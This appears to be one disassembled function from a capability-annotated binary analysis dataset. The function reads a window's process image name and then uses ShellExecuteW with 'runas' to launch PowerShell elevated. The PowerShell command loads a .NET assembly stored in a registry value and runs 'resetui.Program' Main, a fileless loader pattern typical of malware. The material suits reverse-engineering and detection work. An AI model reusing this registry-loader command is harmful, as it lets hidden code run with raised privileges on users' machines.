Function at 0x10030e00
Capabilities:
Create process on windows
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x101a49d4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x248]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x248]
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x244], eax
test eax, eax
je 0x100310e8
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameW]
test eax, eax
je 0x100310b3
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x218], 0
lea edx, [ecx + 2]
mov dword [ebp - 0x214], 7
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10030e87
sub ecx, edx
lea eax, [ebp - 0x210]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x228]
call fcn.10051fd0
push dword [ebp - 0x244]
mov edi, dword [ebp - 0x214]
lea ecx, [ebp - 0x228]
mov esi, dword [ebp - 0x228]
cmp edi, 8
mov ebx, dword [ebp - 0x218]
mov edx, ebx
push 1
cmovae ecx, esi
push 0x1018f43c
push ecx
call fcn.1005b7a0
add esp, 0x10
cmp eax, 0xffffffff
je 0x10030f9c
lea edx, [eax + 1]
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 7
cmp ebx, edx
jb 0x10031111
sub ebx, edx
lea eax, [ebp - 0x228]
or ecx, 0xffffffff
cmp ebx, 0xffffffff
cmovb ecx, ebx
cmp edi, 8
push ecx
cmovae eax, esi
lea ecx, [ebp - 0x240]
lea eax, [eax + edx*2]
push eax
call fcn.10051fd0
lea eax, [ebp - 0x240]
push eax
lea ecx, [ebp - 0x228]
call fcn.100522e0
mov edx, dword [ebp - 0x22c]
cmp edx, 8
jb 0x10030f8a
mov ecx, dword [ebp - 0x240]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10030f80
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10031116
push edx
push ecx
call fcn.1011a823
add esp, 8
mov esi, dword [ebp - 0x228]
mov ebx, dword [ebp - 0x218]
mov edi, dword [ebp - 0x214]
cmp edi, 8
lea ecx, [ebp - 0x228]
cmovae ecx, esi
cmp ebx, 0x1c
jne 0x10031062
push ebx
mov edx, 0x1018f440
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10031062
push ebx
push 0x1018f440
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], 7
call fcn.10051fd0
xor dl, dl
lea ecx, [ebp - 0x240]
call fcn.10023260
mov edx, dword [ebp - 0x22c]
cmp edx, 8
jb 0x1003103b
mov ecx, dword [ebp - 0x240]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10031031
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003111b
push edx
push ecx
call fcn.1011a823
add esp, 8
push 0
push 0
push str._Command__Reflection.Assembly_::Load__Microsoft.Win32.Registry_::LocalMachine.OpenSubKey_SoftwareWOW6432NodeMicrosoft100_.GetValue_1__.CreateInstance_resetui.Program_.Main__
push str.powershell.exe
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov edi, dword [ebp - 0x214]
mov esi, dword [ebp - 0x228]
cmp edi, 8
jb 0x100310cb
lea edi, [edi*2 + 2]
mov eax, esi
cmp edi, 0x1000
jb 0x1003108c
mov esi, dword [esi - 4]
add edi, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10031120
push edi
push esi
call fcn.1011a823
add esp, 8
push dword [ebp - 0x244]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
mov edx, str.Failed_to_retrieve_the_process_file_name.
mov ecx, 0x101aa1f8
call fcn.10059140
push eax
call fcn.10059ce0
add esp, 4
push dword [ebp - 0x244]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
mov edx, str.Failed_to_open_the_process.
mov ecx, 0x101aa1f8
call fcn.10059140
push eax
call fcn.10059ce0
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
call fcn.10058770
call fcn.10125fc5
call fcn.10125fc5
call fcn.10125fc5
int3